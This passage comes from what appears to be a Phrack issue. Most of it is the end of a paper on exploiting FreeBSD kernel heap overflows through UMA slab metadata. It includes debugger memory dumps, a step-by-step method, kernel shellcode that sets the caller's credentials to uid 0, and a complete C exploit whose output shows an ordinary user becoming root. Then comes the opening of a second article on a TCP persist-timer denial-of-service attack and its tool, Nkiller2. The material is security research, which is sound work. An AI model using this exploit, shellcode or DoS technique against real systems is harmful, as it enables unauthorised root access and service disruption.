0xc25e5fa0: 0 0 c1474900 c25e4fa8 0xc25e5fb0: c25e6fac 0 c25e5000 f0002 0xc25e5fc0: 4030201 8070605 c0b0a09 f0e0d 0xc25e5fd0: 0 0 0 0 0xc25e5fe0: 828 0 0 0 0xc25e5ff0: 0 0 0 0

// The first item of the 0xc25e6fa8 slab starts here.

0xc25e6000: 41414141 41414141 41414141 41414141

// Now let's examine the entire keg structure of our slab. Walking through

// the memory dump with the aid of the description of the uma_keg structure

// [10] we can easily identify the address of the keg's zone (0xc146d1e0).

// This is variable uk_zones at [2‑6].

db> x/x 0xc1474900,20

0xc1474900: c1474880 c1474980 c0b865cc c0bd809a 0xc1474910: 1430000 0 4 0 0xc1474920: 0 0 0 c146d1e0 0xc1474930: c25e7fa8 0 c25e6fa8 0 0xc1474940: 3 1a d 100 0xc1474950: 100 0 0 0 0xc1474960: c09e35f0 c09e35b0 0 0 0xc1474970: 0 10fa8 f 10

// The memory region of the zone that our slab belongs to (through the keg)

// is shown below. Using uma_zone's definition from [7] we can easily

// identify that at address 0xc146d200 we have the uz_dtor function

// pointer [2‑5], among other interesting function pointers. The default

// value of the uz_dtor function pointer is NULL (0x0) for the '256'

// anonymous zone.

db> x/x 0xc146d1e0,20

0xc146d1e0: c0b865cc c1474908 c1474900 0 0xc146d1f0: c147492c 0 0 0 0xc146d200: 0 0 0 f52 0xc146d210: 0 df9 0 0 0xc146d220: 0 200000 c146b000 c146b1a4 0xc146d230: 2d1 0 2c5 0 0xc146d240: 0 0 0 0 0xc146d250: 0 0 0 0

To summarize this section before we present the actual exploitation methodology:

* We have observed that if we can consume a zone's free items and force the allocation of new items on new slabs, we can get an item at the edge of one of the new slabs within the first ITEMS_PER_SLAB number of items,

* for certain zones their slabs' management metadata, i.e. their uma_slab structure which contains the uma_slab_head structure, are stored on the slabs themselves,

* with the goal of achieving arbitrary code execution in mind, we have examined the uma_slab_head, uma_keg and uma_zone structures in memory and identified several function pointers that could be overwritten.

‑‑[ 4 ‑ Exploitation methodology

As we have seen in the previous section, the uma_slab_head structure of a non‑offpage slab is stored on the slab itself at a higher memory address than the items of the slab. Taking advantage of an insufficient input validation vulnerability on kernel memory managed by a zone with non‑offpage slabs (like for example the '256' zone), we can overflow the last item of the slab and overwrite the uma_slab_head structure [12]. This opens up a number of different alternatives for diverting the flow of the kernel's execution. In this paper we will only explore the one we have found to be easier to achieve that also allows us to leave the system in a stable state after exploitation.

Returning to the sample vulnerability of our new 'bug' system call, we have discovered that the uz_dtor function pointer is NULL for the '256' anonymous zone. However, if we manage to modify it to point to an arbitrary address we can divert the flow of execution to our code during the deallocation of the edge item from the underlying slab. When free(9) is called on a memory address the corresponding slab is discovered from the address passed as an argument [17]:

slab = vtoslab((vm_offset_t)addr & (~UMA_SLAB_MASK));

The slab is then used to find the keg's address to which it belongs, and then the keg's address is used to find the zone (or, to be more precise, the first zone in case the keg is associated with multiple zones) which is subsequently passed to the uma_zfree_arg() function [18]:

uma_zfree_arg(LIST_FIRST(&slab‑>us_keg‑>uk_zones), addr, slab);

In uma_zfree_arg() the zone passed as the first argument is used to find the corresponding keg [19]:

keg = zone‑>uz_keg;

Finally, if the uz_dtor function pointer of the zone is not NULL then it is called on the item to be deallocated in order to implement the custom destructor that a kernel developer may have defined for the zone [20]:

if (zone‑>uz_dtor)

zone‑>uz_dtor(item, keg‑>uk_size, udata);

This leads to the formulation of our exploitation methodology (although our sample vulnerability is for the '256' zone, we try to make the steps generic to apply to all zones with non‑offpage slabs):

1. Using vmstat(8) we query the UMA about the different zones, we identify the one we plan to target and parse the number of initial items marked as free on its slabs.

2. Using a system call, or some other code path that allows us to affect kernel space memory from userland, we consume all the free items from the target zone.

3. Based on our heuristic observations, we then allocate ITEMS_PER_SLAB number of items on the target zone. Although we don't know exactly which allocation will give us an item at the edge of a slab (it differs among different kernels), it will be one among the ITEMS_PER_SLAB number of allocations. On all these allocations we trigger the vulnerability condition, therefore the item allocated last on a slab will overflow into the memory region of the slab's uma_slab_head structure.

4. We overwrite the memory address of us_keg [2‑13] in uma_slab_head with an arbitrary address of our choosing. Since the IA‑32 architecture does not implement a fully separated memory address space between userland and kernel space, we can use a userland address for this purpose; the kernel will dereference it correctly. There are a number of choices for that, but the most convenient one is usually the userland buffer passed as an argument to the vulnerable system call.

5. We construct a fake uma_keg structure at that memory address. Our fake uma_keg structure is consisting of sane values to all its elements, however its uk_zones element [2‑6] points to another area in our userland buffer. There we construct a fake uma_zone structure, again with sane values for its elements, but we point the uz_dtor function pointer [2‑5] to another address at our userland buffer where we place our kernel shellcode.

6. The next step is to use the system call in order deallocate the last ITEMS_PER_SLAB we have allocated in step 3. This will lead to free(9), then to uma_zfree_arg() and finally to the execution of the uz_dtor function pointer we have hijacked in step 5.

As a first attempt at exploitation let's focus on diverting execution through the uz_dtor function pointer to make the instruction pointer execute the instructions at address 0x41424344. Our first exploit is file ex1.c in the code tarball:

[argp@julius ~]$ kldstat | grep bug

4 1 0xc25b6000 2000 bug.ko

[argp@julius ~]$ gcc ex1.c ‑o ex1

[argp@julius ~]$ ./ex1

‑‑‑[ free items on the 256 zone: 4

‑‑‑[ consuming 4 items from the 256 zone

[*] bug: 0: item at 0xc243c200

[*] bug: 1: item at 0xc2593300

[*] bug: 2: item at 0xc2381a00

[*] bug: 3: item at 0xc243b300

‑‑‑[ free items on the 256 zone: 30

‑‑‑[ allocating 15 evil items on the 256 zone

‑‑‑[ userland (fake uma_keg_t) = 0x28202180

[*] bug: 4: item at 0xc25e7000

[*] bug: 5: item at 0xc25e6e00

[*] bug: 6: item at 0xc25e6d00

[*] bug: 7: item at 0xc25e6c00

[*] bug: 8: item at 0xc25e6b00

[*] bug: 9: item at 0xc25e6a00

[*] bug: 10: item at 0xc25e6900

[*] bug: 11: item at 0xc25e6800

[*] bug: 12: item at 0xc25e6700

[*] bug: 13: item at 0xc25e6600

[*] bug: 14: item at 0xc25e6500

[*] bug: 15: item at 0xc25e6400

[*] bug: 16: item at 0xc25e6300

[*] bug: 17: item at 0xc25e6200

[*] bug: 18: item at 0xc25e6100

‑‑‑[ deallocating the last 15 items from the 256 zone

Fatal trap 12: page fault while in kernel mode

cpuid = 0; apic id = 00

fault virtual address = 0x41424344

fault code = supervisor read, page not present instruction pointer = 0x20:0x41424344

stack pointer = 0x28:0xcd074c14

frame pointer = 0x28:0xcd074c4c

code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1

processor eflags = interrupt enabled, resume, IOPL = 0 current process = 767 (ex1)

[thread id 767 tid 100050 ]

Stopped at 0x41424344: *** error reading from address 41424344 *** db>

// We have successfully diverted execution to the 0x41424344 address.

// Let's explore the UMA data structures. First, the edge item of the

// exploited slab:

db> x/x 0xc25e6e00,4

0xc25e6e00: 0 0 0 0

// By examining the uma_slab_head structure of the exploited slab we can

// see that we have overwritten its us_keg element [2‑13] with the address

// of our userland buffer (0x28202180):

db> x/x 0xc25e6fa8,4

0xc25e6fa8: 28202180 c2593fa8 c25e7fac 0

// We continue by examining our fake uma_keg structure that us_keg is now

// pointing to. The uk_zones element [2‑6] of our fake uma_keg structure

// points further down our userland buffer to the fake uma_zone structure

// at 0x28202200.

db> x/x 0x28202180,10

0x28202180: c1474880 c1474980 c0b8682c c0bd82fa 0x28202190: 1430000 0 4 0 0x282021a0: 0 0 0 28202200 0x282021b0: c32affa0 0 c32b3fa8 0

// We can now verify that the uz_dtor function pointer of the fake uma_zone

// structure contains 0x41424344 (and that uz_keg [2‑1] at 0x28202208

// points back to our fake uma_keg):

db> x/x 0x28202200,10

0x28202200: c0b867ec c1474908 28202180 0 0x28202210: c147492c 0 0 0 0x28202220: 41424344 0 0 a32 0x28202230: 0 8d9 0 0

‑‑‑‑[ 4.1 ‑ Kernel shellcode

Since we have verified that we can divert the kernel's execution flow and we have a place to store the code we want executed (again, in the userland buffer passed as an argument to the vulnerable system call) we will now briefly discuss the development of kernel shellcode for FreeBSD. There is no need to go into extensive details on this since previous published work on the subject by the "Kernel wars" authors [21] and noir [22] have analyzed it sufficiently. Although noir presented OpenBSD specific kernel shellcode, the sysctl(3) technique of leaking the address of the process structure from unprivileged userland code is applicable to FreeBSD as well. In our kernel shellcode we use a simpler approach to locate the process structure first presented in [21].

We want to create a small shellcode that patches the credentials record for the user running the exploit. To do that we will locate the proc struct for the running process, then update the ucred struct that the process is associated with.

FreeBSD/i386 uses the segment fs in kernel‑context to point to the per‑cpu variable __pcpu[n] [23]. This structure holds information for the cpu of the current context like current thread among other data. We use this segment to quickly get hold of the proc pointer for the currently running process and eventually the credentials of the owner user of the process.

To easily figure out the offsets in the structs used by the kernel we get some help from gdb, the symbol read is just used to reference addressable memory:

$ gdb /boot/kernel/kernel

...

(gdb) print /x (int)&((struct thread *)&read)‑>td_proc‑\ (int)(struct thread *)&read

$1 = 0x4

(gdb) print /x (int)&((struct proc *)&read)‑>p_ucred‑\ (int)(struct proc *)&read

$2 = 0x30

(gdb) print /x (int)&((struct ucred *)&read)‑>cr_uid‑\ (int)(struct ucred *)&read

$3 = 0x4

(gdb) print /x (int)&((struct ucred *)&read)‑>cr_ruid‑\ (int)(struct ucred *)&read

$4 = 0x8

Knowing the offsets we can now describe our shellcode in detail:

1. Get the curthread pointer by referring to the first word in the struct pcpu [23]:

movl %fs:0, %eax

2. Extract the struct proc pointer for the associated process [24]: movl 0x4(%eax), %eax

3. Get hold of the process owner's identity [25] by getting the struct ucred for that particular process:

movl 0x30(%eax), %eax

4. Patch struct ucred by writing uid=0 on both the effective user ID (cr_uid) and real user ID (cr_ruid) [26]:

xorl %ecx, %ecx

movl %ecx, 0x4(%eax)

movl %ecx, 0x8(%eax)

5. Restore us_keg [2‑13] for our overwritten slab metadata, we use the us_keg pointer found in the next uma_slab_head as will be discussed in the next subsection, 4.2:

movl 0x1000(%esi), %eax

movl %eax, (%esi)

6. Return from our shellcode and enjoy uid=0 privileges: ret

‑‑‑‑[ 4.2 ‑ Keeping the system stable

After our kernel shellcode has been executed, control is returned to the kernel. Eventually the kernel will try to free an item from the zone that uses the slab whose uma_slab_head structure we have corrupted. However, the memory regions we have used to store our fake structures have been unmapped when our process has completed. Therefore, the system crashes when it tries to dereference the address of the fake uma_keg structure during a free(9) call.

In order to find a way to keep the system stable after returning from the execution of our kernel shellcode we fire up our exploit with any kind of kernel shellcode, execute it, and we single step in ddb(4) (after we have enabled a relevant breakpoint or watchpoint of course) until we reach the call of the uz_dtor function pointer:

[thread pid 758 tid 100047 ]

Stopped at uma_zfree_arg+0x2d: calll *%edx

// Above we can see the call instruction in uma_zfree_arg() where uz_dtor

// is used. Let's examine the state of the registers at this point:

db> show reg

cs 0x20

ds 0x28

es 0x28

fs 0x8

ss 0x28

eax 0xc25d5e00

ecx 0xc25d5e00

edx 0x28202260

ebx 0x100

esp 0xcd068c14

ebp 0xcd068c48

esi 0xc25d5fa8

edi 0x28202200

eip 0xc09e565d uma_zfree_arg+0x2d

efl 0x206

db> x/x $esi

0xc25d5fa8: 28202180

// Although we have not included the relevant output, we know (see previous

// executions of ex1.c earlier in the paper) from the execution of our

// exploit that we have corrupted the 0xc25d5fa8 slab. We can see that at

// this point the %esi register holds the address of this slab. We can

// also see that the us_keg element ([2‑13], first word of uma_slab_head)

// of uma_slab_head points to our userland buffer (0x28202180). What we

// need to do is restore the value of us_keg to point to the correct

// uma_keg. Since we know the UMA architecture from section 2, we only

// need to look for the correct address of uma_keg at the next or the

// previous slab from the one we have corrupted:

db> x/x 0xc25d6fa8

0xc25d6fa8: c1474900

In order to ensure kernel continuation we can perform an additional check by making sure that the next or the previous slab is indeed a valid one and its us_keg pointer is not NULL.

Now we know how to dynamically restore at run time from our kernel shellcode the value of the corrupted us_keg to contain the address of the correct uma_keg structure.

Putting it all together, we have below the complete exploit (file ex2.c in the code archive):

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/module.h>

#define EVIL_SIZE 428 /* causes 256 bytes to be allocated */

#define TARGET_SIZE 256

#define OP_ALLOC 1

#define OP_FREE 2

#define BUF_SIZE 256

#define LINE_SIZE 56

#define ITEMS_PER_SLAB 15 /* for the 256 anonymous zone */

struct argz

{

char *buf;

u_int len;

int op;

u_int slot;

};

int get_zfree(char *zname);

u_char kernelcode[] =

"\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax */

"\x8b\x40\x04" /* movl 0x4(%eax), %eax */

"\x8b\x40\x30" /* movl 0x30(%eax), %eax */

"\x31\xc9" /* xorl %ecx, %ecx */

"\x89\x48\x04" /* movl %ecx, 0x4(%eax) */

"\x89\x48\x08" /* movl %ecx, 0x8(%eax) */

"\x8b\x86\x00\x10\x00\x00" /* movl 0x1000(%esi), %eax */

"\x83\xf8\x00" /* cmpl $0x0, %eax */

"\x74\x02" /* je prev */

"\xeb\x06" /* jmp end */

/* prev: */

"\x8b\x86\x00\xf0\xff\xff" /* movl ‑0x1000(%esi), %eax */

/* end: */

"\x89\x06" /* movl %eax, (%esi) */

"\xc3"; /* ret */

int

main(int argc, char *argv[])

{

int sn, i, j, n;

char *ptr;

u_long *lptr;

struct module_stat mstat;

struct argz vargz;

sn = i = j = n = 0;

n = get_zfree("256");

printf("‑‑‑[ free items on the %d zone: %d\n", TARGET_SIZE, n);

vargz.len = TARGET_SIZE;

vargz.buf = calloc(vargz.len + 1, sizeof(char));

if(vargz.buf == NULL)

{

perror("calloc");

exit(1);

}

memset(vargz.buf, 0x41, vargz.len);

mstat.version = sizeof(mstat);

modstat(modfind("bug"), &mstat);

sn = mstat.data.intval;

vargz.op = OP_ALLOC;

printf("‑‑‑[ consuming %d items from the %d zone\n", n, TARGET_SIZE);

for(i = 0; i < n; i++)

{

vargz.slot = i;

syscall(sn, vargz);

}

n = get_zfree("256");

printf("‑‑‑[ free items on the %d zone: %d\n", TARGET_SIZE, n);

printf("‑‑‑[ allocating %d evil items on the %d zone\n", ITEMS_PER_SLAB, TARGET_SIZE);

free(vargz.buf);

vargz.len = EVIL_SIZE;

vargz.buf = calloc(vargz.len, sizeof(char));

if(vargz.buf == NULL)

{

perror("calloc");

exit(1);

}

/* build the overflow buffer */

ptr = (char *)vargz.buf;

printf("‑‑‑[ userland (fake uma_keg_t) = 0x%.8x\n", (u_int)ptr);

lptr = (u_long *)(vargz.buf + EVIL_SIZE ‑ 4);

/* overwrite the real uma_slab_head struct */

*lptr++ = (u_long)ptr; /* us_keg */

/* build the fake uma_keg struct (us_keg) */

lptr = (u_long *)vargz.buf;

*lptr++ = 0xc1474880; /* uk_link */

*lptr++ = 0xc1474980; /* uk_link */

*lptr++ = 0xc0b8682c; /* uk_lock */

*lptr++ = 0xc0bd82fa; /* uk_lock */

*lptr++ = 0x1430000; /* uk_lock */

*lptr++ = 0x0; /* uk_lock */

*lptr++ = 0x4; /* uk_lock */

*lptr++ = 0x0; /* uk_lock */

*lptr++ = 0x0; /* uk_hash */

*lptr++ = 0x0; /* uk_hash */

*lptr++ = 0x0; /* uk_hash */

ptr = (char *)(vargz.buf + 128);

*lptr++ = (u_long)ptr; /* fake uk_zones */

*lptr++ = 0xc32affa0; /* uk_part_slab */

*lptr++ = 0x0; /* uk_free_slab */

*lptr++ = 0xc32b3fa8; /* uk_full_slab */

*lptr++ = 0x0; /* uk_recurse */

*lptr++ = 0x3; /* uk_align */

*lptr++ = 0x1a; /* uk_pages */

*lptr++ = 0xd; /* uk_free */

*lptr++ = 0x100; /* uk_size */

*lptr++ = 0x100; /* uk_rsize */

*lptr++ = 0x0; /* uk_maxpages */

*lptr++ = 0x0; /* uk_init */

*lptr++ = 0x0; /* uk_fini */

*lptr++ = 0xc09e3790; /* uk_allocf */

*lptr++ = 0xc09e3750; /* uk_freef */

*lptr++ = 0x0; /* uk_obj */

*lptr++ = 0x0; /* uk_kva */

*lptr++ = 0x0; /* uk_slabzone */

*lptr++ = 0x10fa8; /* uk_pgoff && uk_ppera */

*lptr++ = 0xf; /* uk_ipers */

*lptr++ = 0x10; /* uk_flags */

/* build the fake uma_zone struct */

*lptr++ = 0xc0b867ec; /* uz_name */

*lptr++ = 0xc1474908; /* uz_lock */

ptr = (char *)vargz.buf;

*lptr++ = (u_long)ptr; /* uz_keg */

*lptr++ = 0x0; /* uz_link le_next */

*lptr++ = 0xc147492c; /* uz_link le_prev */

*lptr++ = 0x0; /* uz_full_bucket */

*lptr++ = 0x0; /* uz_free_bucket */

*lptr++ = 0x0; /* uz_ctor */

ptr = (char *)(vargz.buf + 224); /* our kernel shellcode */

*lptr++ = (u_long)ptr; /* uz_dtor */

*lptr++ = 0x0; /* uz_init */

*lptr++ = 0x0; /* uz_fini */

*lptr++ = 0xa32;

*lptr++ = 0x0;

*lptr++ = 0x8d9;

*lptr++ = 0x0;

*lptr++ = 0x0;

*lptr++ = 0x0;

*lptr++ = 0x200000;

*lptr++ = 0xc146b1a4;

*lptr++ = 0xc146b000;

*lptr++ = 0x39;

*lptr++ = 0x0;

*lptr++ = 0x3a;

*lptr++ = 0x0; /* end of uma_zone */

memcpy(ptr, kernelcode, sizeof(kernelcode));

for(j = 0; j < ITEMS_PER_SLAB; j++, i++)

{

vargz.slot = i;

syscall(sn, vargz);

}

/* free the last allocated items to trigger exploitation */

printf("‑‑‑[ deallocating the last %d items from the %d zone\n", ITEMS_PER_SLAB, TARGET_SIZE);

vargz.op = OP_FREE;

for(j = 0; j < ITEMS_PER_SLAB; j++)

{

vargz.slot = i ‑ j;

syscall(sn, vargz);

}

free(vargz.buf);

return 0;

}

int

get_zfree(char *zname)

{

u_int nsize, nlimit, nused, nfree, nreq, nfail;

FILE *fp = NULL;

char buf[BUF_SIZE];

char iname[LINE_SIZE];

nsize = nlimit = nused = nfree = nreq = nfail = 0;

fp = popen("/usr/bin/vmstat ‑z", "r");

if(fp == NULL)

{

perror("popen");

exit(1);

}

memset(buf, 0, sizeof(buf));

memset(iname, 0, sizeof(iname));

while(fgets(buf, sizeof(buf) ‑ 1, fp) != NULL)

{

sscanf(buf, "%s %u, %u, %u, %u, %u, %u\n", iname, &nsize, &nlimit, &nused, &nfree, &nreq, &nfail);

if(strncmp(iname, zname, strlen(zname)) == 0)

{

break;

}

}

pclose(fp);

return nfree;

}

Let's try it:

[argp@julius ~]$ uname ‑r

7.2‑RELEASE

[argp@julius ~]$ kldstat | grep bug

4 1 0xc25b0000 2000 bug.ko

[argp@julius ~]$ id

uid=1001(argp) gid=1001(argp) groups=1001(argp)

[argp@julius ~]$ gcc ex2.c ‑o ex2

[argp@julius ~]$ ./ex2

‑‑‑[ free items on the 256 zone: 34

‑‑‑[ consuming 34 items from the 256 zone

[*] bug: 0: item at 0xc243c800

[*] bug: 1: item at 0xc25b3900

[*] bug: 2: item at 0xc25b2900

[*] bug: 3: item at 0xc25b2a00

[*] bug: 4: item at 0xc25b3800

[*] bug: 5: item at 0xc25b2b00

[*] bug: 6: item at 0xc25b2300

[*] bug: 7: item at 0xc25b2600

[*] bug: 8: item at 0xc2598e00

[*] bug: 9: item at 0xc25b2200

[*] bug: 10: item at 0xc25b2000

[*] bug: 11: item at 0xc2598c00

[*] bug: 12: item at 0xc25b2100

[*] bug: 13: item at 0xc25b3000

[*] bug: 14: item at 0xc25b3b00

[*] bug: 15: item at 0xc25b2d00

[*] bug: 16: item at 0xc25b2c00

[*] bug: 17: item at 0xc25b3600

[*] bug: 18: item at 0xc243c700

[*] bug: 19: item at 0xc25b3400

[*] bug: 20: item at 0xc25b3a00

[*] bug: 21: item at 0xc25b3700

[*] bug: 22: item at 0xc243cc00

[*] bug: 23: item at 0xc243ca00

[*] bug: 24: item at 0xc25b3500

[*] bug: 25: item at 0xc2597300

[*] bug: 26: item at 0xc235d100

[*] bug: 27: item at 0xc2597100

[*] bug: 28: item at 0xc2597600

[*] bug: 29: item at 0xc25b3e00

[*] bug: 30: item at 0xc25b3c00

[*] bug: 31: item at 0xc2597500

[*] bug: 32: item at 0xc2598d00

[*] bug: 33: item at 0xc25b3100

‑‑‑[ free items on the 256 zone: 45

‑‑‑[ allocating 15 evil items on the 256 zone

‑‑‑[ userland (fake uma_keg_t) = 0x28202180

[*] bug: 34: item at 0xc25e6800

[*] bug: 35: item at 0xc25e6700

[*] bug: 36: item at 0xc25e6600

[*] bug: 37: item at 0xc25e6500

[*] bug: 38: item at 0xc25e6400

[*] bug: 39: item at 0xc25e6300

[*] bug: 40: item at 0xc25e6200

[*] bug: 41: item at 0xc25e6100

[*] bug: 42: item at 0xc25e6000

[*] bug: 43: item at 0xc25e5e00

[*] bug: 44: item at 0xc25e5d00

[*] bug: 45: item at 0xc25e5c00

[*] bug: 46: item at 0xc25e5b00

[*] bug: 47: item at 0xc25e5a00

[*] bug: 48: item at 0xc25e5900

‑‑‑[ deallocating the last 15 items from the 256 zone

[argp@julius ~]$ id

uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)

‑‑[ 5 ‑ Conclusion

The exploitation technique described in this paper can be applied to overflows that take place on memory allocated by the FreeBSD kernel. The main requirement for successful arbitrary code execution, in addition to having an overflow bug in the kernel, is that we should be able to make repeated allocations of kernel memory from userland without having the kernel automatically deallocate our items. We also need to have control over the deallocation of these items to fully control the process. Obviously, the uz_dtor overwrite technique we focused on in this paper is only one of the alternatives to achieve code execution; the rest are left as an exercise for the interested hacker.

argp did the research, developed the exploitation methodology, discovered how to keep the system stable after arbitrary code execution and wrote this paper. karl provided the initial challenge, pointed argp to the right direction and improved the kernel shellcode subsection (4.1).

argp thanks all the clever signedness.org residents for discussions on many very interesting topics (cmn, christer, twiz, mu‑b, xz and all the others). Thanks also to brat for always allowing me to break his machines, joy and demonmass for generally being cool.

karl thanks christer for starting this whole *bsd exploit epoch, and of course cmn for endless discussions on how to solve problems.

‑‑[ 6 ‑ References

[1] GCC extension for protecting applications from stack‑smashing attacks ‑ http://www.trl.ibm.com/projects/security/ssp/

[2] FreeBSD 8.0‑CURRENT: src/sys/kern/stack_protector.c

‑ http://fxr.watson.org/fxr/source/kern/stack_protector.c

[3] FreeBSD Kernel Developer's Manual ‑ uma(9): zone allocator ‑ http://www.freebsd.org/cgi/

man.cgi?query=uma&sektion=9&manpath=FreeBSD+7.2‑RELEASE

[4] FreeBSD Kernel Developer's Manual ‑ malloc(9): kernel memory management routines

‑ http://www.freebsd.org/cgi/

man.cgi?query=malloc&sektion=9&manpath=FreeBSD+7.2‑RELEASE

[5] Jeff Bonwick, The slab allocator: An object‑caching kernel memory allocator

‑ http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.29.4759

[6] sgrakkyu and twiz, Attacking the core: kernel exploiting notes ‑ http://phrack.org/issues.html?issue=64&id=6&mode=txt

[7] struct uma_zone

‑ http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L291

[8] struct uma_bucket

‑ http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L166

[9] struct uma_cache

‑ http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L175

[10] struct uma_keg

‑ http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L190

[11] struct uma_slab

‑ http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L244

[12] struct uma_slab_head

‑ http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L230

[13] Non‑offpage and offpage slab representations

‑ http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L87

[14] FreeBSD Kernel Interfaces Manual ‑ kld(4): dynamic kernel linker facility

‑ http://www.freebsd.org/cgi/

man.cgi?query=kld&sektion=4&manpath=FreeBSD+7.2‑RELEASE

[15] signedness.org challenge #3 ‑ FreeBSD (6.0) kernel heap overflow ‑ http://www.signedness.org/challenges/

[16] FreeBSD Kernel Interfaces Manual ‑ ddb(4): interactive kernel debugger ‑ http://www.freebsd.org/cgi/

man.cgi?query=ddb&sektion=4&manpath=FreeBSD+7.2‑RELEASE

[17] void free(void *addr, struct malloc_type *mtp)

‑ http://fxr.watson.org/fxr/source/kern/kern_malloc.c?v=FREEBSD72#L443

[18] void free(void *addr, struct malloc_type *mtp)

‑ http://fxr.watson.org/fxr/source/kern/kern_malloc.c?v=FREEBSD72#L470

[19] void uma_zfree_arg(uma_zone_t zone, void *item, void *udata) ‑ http://fxr.watson.org/fxr/source/vm/uma_core.c?v=FREEBSD72#L2243

[20] void uma_zfree_arg(uma_zone_t zone, void *item, void *udata) ‑ http://fxr.watson.org/fxr/source/vm/uma_core.c?v=FREEBSD72#L2251

[21] Joel Eriksson, Christer Oberg, Claes Nyberg and Karl Janmar, Kernel wars

‑ https://www.blackhat.com/presentations/bh‑usa‑07/

Eriksson_Oberg_Nyberg_and_Jammar/ Whitepaper/bh‑usa‑07‑eriksson_oberg_nyberg_and_jammar‑WP.pdf

[22] noir, Smashing the kernel stack for fun and profit

‑ http://www.phrack.org/issues.html?issue=60&id=6&mode=txt

[23] void init386(int first)

‑ http://fxr.watson.org/fxr/source/i386/i386/

machdep.c?v=FREEBSD72#L2185

[24] struct thread

‑ http://fxr.watson.org/fxr/source/sys/proc.h?v=FREEBSD72#L201

[25] struct proc

‑ http://fxr.watson.org/fxr/source/sys/proc.h?v=FREEBSD72#L489

[26] struct ucred

‑ http://fxr.watson.org/fxr/source/sys/ucred.h?v=FREEBSD72#L38

‑‑[ 7 ‑ Code

begin 644 code.tar.gz

M'XL("!8>"$H"`V‑O9&4N=&%R`.T<:W/;."Y?5[^"YVYR=N(XDBP_&C>=Z7;=

end

Exploiting TCP Persist Timer Infiniteness

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x09 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ Exploiting TCP and the Persist Timer Infiniteness ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By ithilgore ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ sock‑raw.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ ithilgore.ryu.L@gmail.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ Contents

1 ‑ Introduction

2 ‑ TCP Persist Timer Theory

3 ‑ TCP Persist Timer implementation

3.1 ‑ TCP Timers Initialization

3.2 ‑ Persist Timer Triggering

3.3 ‑ Inner workings of Persist Timer

4 ‑ The attack

4.1 ‑ Kernel memory exhaustion pitfalls

4.2 ‑ Attack Vector

4.3 ‑ Test cases

5 ‑ Nkiller2 implementation

6 ‑ References

‑‑[ 1 ‑ Introduction

TCP is the main protocol upon which most end‑to‑end communications take place, nowadays. Being introduced a lot of years ago, where security wasn't as much a concern, has left it with quite a few hanging vulnerabilities. It is not strange that many TCP implementations have deviated from the official RFCs, to provide additional protective measures and robustness. However, there are still attack vectors which can be exploited. One of them is the Persist Timer, which is triggered when the receiver advertises a TCP window of size 0. In the following text, we are going to analyse, how an old technique of kernel memory exhaustion [1] can be amplified, extended and adjusted to other forms of attacks, by exploiting the persist timer functionality. Our analysis is mainly going to focus on the Linux (2.6.18) network stack implementation, but test cases for *BSD will be included as well. The possibility of exploiting the TCP Persist Timer, was first mentioned at [2]. A proof‑of‑concept tool that was developed for the sole purpose of demonstrating the above attack will be presented. Nkiller2 is able to perform a generic DoS attack, completely statelessly and with almost no memory overhead, using packet‑parsing techniques and virtual states. In addition, the amount of traffic created is far less than that of similar tools, due to the attack's nature. The main advantage, that makes all the difference, is the possibly unlimited prolonging of the DoS attack's impact by the exploitation of a perfectly 'expected & normal' TCP Persist Timer behaviour.

‑‑[ 2 ‑ TCP Persist Timer theory

TCP is based on many timers. One of them is the Persist Timer, which is used when the peer advertises a window of size 0. Normally, the receiver advertises a zero window, when TCP hasn't pushed the buffered data to the user application and thus the kernel buffers reach their initial advertised limit. This forces the TCP sender to stop writing data to the network, until the receiver advertises a window which has a value greater than zero. To accomplish that, the receiver sends an ACK called a window update, which has the same acknowledgment number as the one that advertised the 0 window (since no new data is effectively acknowledged).

The Persist Timer is triggered when TCP gets a 0 window advertisement for the following reason: Suppose the receiver eventually pushes the data from the kernel buffers to the user application, and thus opens the window (the right edge is advanced). He then sends a window update to the sender announcing that it can now receive new data. If this window update is lost for any reason, then both ends of the connection would deadlock, since the receiver would wait for new data and the sender would wait for the now lost window update. To avoid the above situation, the sender sets the Perist Timer and if no window update has reached him until it expires, then he resends a probe to the peer. As long as the receiver keeps advertising a window of size 0, then the sender follows the process again. He sets the timer, waits for the window update and resends the probe. As long as some of the probes are acknowledged, without necessarily having to announce a new window, the process will go on ad infinitum. Examples can be found at [3].

Of course, the actual implementation is always more complicated than theory. We are going to inspect the Linux implementation of the TCP Persist Timer, watch the intricacies unfold and eventually get a fairly good perspective on what happens behind the scenes.

‑‑ [ 3 ‑ TCP Persist Timer implementation

